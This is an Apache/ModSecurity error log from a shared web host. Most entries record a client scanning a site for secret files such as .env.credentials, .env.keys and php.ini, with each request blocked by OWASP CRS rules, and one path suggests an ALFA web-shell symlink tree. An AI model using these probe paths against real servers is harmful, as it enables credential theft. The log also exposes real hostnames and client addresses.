[Sun Oct 25 11:26:46.418631 2026] [security2:error] [pid 2853378:tid 2853378] [client 43.131.36.84:50634] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at4fthO6lhYf13K488t6fwAAAAk"]
[Sun Oct 25 11:26:50.167390 2026] [ssl:error] [pid 2853376:tid 2853376] (70014)End of file found: [client 54.235.191.179:5099] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:26:54.146875 2026] [ssl:error] [pid 2853384:tid 2853384] (70014)End of file found: [client 52.4.229.9:50790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:27:06.172907 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 107.23.62.75:37175] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:27:12.087008 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 85.208.96.212:64064] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:27:18.171036 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 52.44.229.124:16049] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_piix/bind
[Sun Oct 25 11:27:22.201800 2026] [ssl:error] [pid 2853376:tid 2853376] (70014)End of file found: [client 54.80.185.200:43540] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:27:26.191329 2026] [ssl:error] [pid 2853384:tid 2853384] (70014)End of file found: [client 54.210.155.69:65394] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:27:38.859270 2026] [authz_core:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 11:27:40.816758 2026] [authz_core:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 11:27:41.691918 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/ernj6n0r8bzkr7v4e8xp"] [unique_id "at4f7fhVEu9HLPc5D-_6MQAAACk"]
[Sun Oct 25 11:27:41.691963 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/ernj6n0r8bzkr7v4e8xp"] [unique_id "at4f7fhVEu9HLPc5D-_6MQAAACk"]
[Sun Oct 25 11:27:41.734234 2026] [security2:error] [pid 2834019:tid 2834019] [client 34.95.134.179:39534] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at4f7Usgp-xlBP1GcWOTHgAAABE"]
[Sun Oct 25 11:27:41.734669 2026] [security2:error] [pid 2834019:tid 2834019] [client 34.95.134.179:39534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at4f7Usgp-xlBP1GcWOTHgAAABE"]
[Sun Oct 25 11:27:41.734979 2026] [security2:error] [pid 2834019:tid 2834019] [client 34.95.134.179:39534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at4f7Usgp-xlBP1GcWOTHgAAABE"]
[Sun Oct 25 11:27:42.134448 2026] [authz_core:error] [pid 2853381:tid 2853381] [client 34.95.134.179:39536] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 11:27:42.211587 2026] [security2:error] [pid 2834019:tid 2834019] [client 34.95.134.179:39534] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at4f7ksgp-xlBP1GcWOTHwAAABE"]
[Sun Oct 25 11:27:42.212021 2026] [security2:error] [pid 2834019:tid 2834019] [client 34.95.134.179:39534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at4f7ksgp-xlBP1GcWOTHwAAABE"]
[Sun Oct 25 11:27:42.212354 2026] [security2:error] [pid 2834019:tid 2834019] [client 34.95.134.179:39534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at4f7ksgp-xlBP1GcWOTHwAAABE"]
[Sun Oct 25 11:27:42.277308 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 54.221.203.24:2741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:27:42.457888 2026] [security2:error] [pid 2853381:tid 2853381] [client 34.95.134.179:39536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.credentials"] [unique_id "at4f7r_myKDD4ra5zHPY6gAAAAw"]
[Sun Oct 25 11:27:42.458136 2026] [security2:error] [pid 2853381:tid 2853381] [client 34.95.134.179:39536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.credentials"] [unique_id "at4f7r_myKDD4ra5zHPY6gAAAAw"]
[Sun Oct 25 11:27:42.458156 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.prod.local"] [unique_id "at4f7luooNxFuMkRFYH-vgAAAAE"]
[Sun Oct 25 11:27:42.458318 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.prod.local"] [unique_id "at4f7luooNxFuMkRFYH-vgAAAAE"]
[Sun Oct 25 11:27:42.458446 2026] [security2:error] [pid 2853381:tid 2853381] [client 34.95.134.179:39536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.credentials"] [unique_id "at4f7r_myKDD4ra5zHPY6gAAAAw"]
[Sun Oct 25 11:27:42.458599 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.prod.local"] [unique_id "at4f7luooNxFuMkRFYH-vgAAAAE"]
[Sun Oct 25 11:27:42.460337 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.preprod"] [unique_id "at4f7vhVEu9HLPc5D-_6MgAAACk"]
[Sun Oct 25 11:27:42.460502 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.preprod"] [unique_id "at4f7vhVEu9HLPc5D-_6MgAAACk"]
[Sun Oct 25 11:27:42.460741 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.preprod"] [unique_id "at4f7vhVEu9HLPc5D-_6MgAAACk"]
[Sun Oct 25 11:27:42.461690 2026] [security2:error] [pid 2853384:tid 2853384] [client 34.95.134.179:39538] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "at4f7m6BKUqLydm1sXLUrgAAAA8"]
[Sun Oct 25 11:27:42.461837 2026] [security2:error] [pid 2853384:tid 2853384] [client 34.95.134.179:39538] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "at4f7m6BKUqLydm1sXLUrgAAAA8"]
[Sun Oct 25 11:27:42.462080 2026] [security2:error] [pid 2853384:tid 2853384] [client 34.95.134.179:39538] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "at4f7m6BKUqLydm1sXLUrgAAAA8"]
[Sun Oct 25 11:27:42.599971 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.development.local"] [unique_id "at4f7luooNxFuMkRFYH-vwAAAAE"]
[Sun Oct 25 11:27:42.600209 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.development.local"] [unique_id "at4f7luooNxFuMkRFYH-vwAAAAE"]
[Sun Oct 25 11:27:42.600572 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.development.local"] [unique_id "at4f7luooNxFuMkRFYH-vwAAAAE"]
[Sun Oct 25 11:27:42.706201 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.dev.local"] [unique_id "at4f7vhVEu9HLPc5D-_6MwAAACk"]
[Sun Oct 25 11:27:42.706372 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.dev.local"] [unique_id "at4f7vhVEu9HLPc5D-_6MwAAACk"]
[Sun Oct 25 11:27:42.706656 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.dev.local"] [unique_id "at4f7vhVEu9HLPc5D-_6MwAAACk"]
[Sun Oct 25 11:27:42.709282 2026] [security2:error] [pid 2853384:tid 2853384] [client 34.95.134.179:39538] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.keys"] [unique_id "at4f7m6BKUqLydm1sXLUrwAAAA8"]
[Sun Oct 25 11:27:42.709430 2026] [security2:error] [pid 2853384:tid 2853384] [client 34.95.134.179:39538] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.keys"] [unique_id "at4f7m6BKUqLydm1sXLUrwAAAA8"]
[Sun Oct 25 11:27:42.709692 2026] [security2:error] [pid 2853384:tid 2853384] [client 34.95.134.179:39538] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.keys"] [unique_id "at4f7m6BKUqLydm1sXLUrwAAAA8"]
[Sun Oct 25 11:27:42.964550 2026] [security2:error] [pid 2853376:tid 2853376] [client 34.95.134.179:39512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.secret"] [unique_id "at4f7oQ1ZDwVc2SXNbtpvAAAAAU"]
[Sun Oct 25 11:27:42.964785 2026] [security2:error] [pid 2853376:tid 2853376] [client 34.95.134.179:39512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.secret"] [unique_id "at4f7oQ1ZDwVc2SXNbtpvAAAAAU"]
[Sun Oct 25 11:27:42.965089 2026] [security2:error] [pid 2853376:tid 2853376] [client 34.95.134.179:39512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.secret"] [unique_id "at4f7oQ1ZDwVc2SXNbtpvAAAAAU"]
[Sun Oct 25 11:27:43.008349 2026] [security2:error] [pid 2834019:tid 2834019] [client 34.95.134.179:39534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.production.local"] [unique_id "at4f70sgp-xlBP1GcWOTIAAAABE"]
[Sun Oct 25 11:27:43.008614 2026] [security2:error] [pid 2834019:tid 2834019] [client 34.95.134.179:39534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.production.local"] [unique_id "at4f70sgp-xlBP1GcWOTIAAAABE"]
[Sun Oct 25 11:27:43.008950 2026] [security2:error] [pid 2834019:tid 2834019] [client 34.95.134.179:39534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.production.local"] [unique_id "at4f70sgp-xlBP1GcWOTIAAAABE"]
[Sun Oct 25 11:27:43.030501 2026] [security2:error] [pid 2853395:tid 2853395] [client 34.95.134.179:39558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.staging.local"] [unique_id "at4f7xUSNe6FSAQsg7tTmQAAABs"]
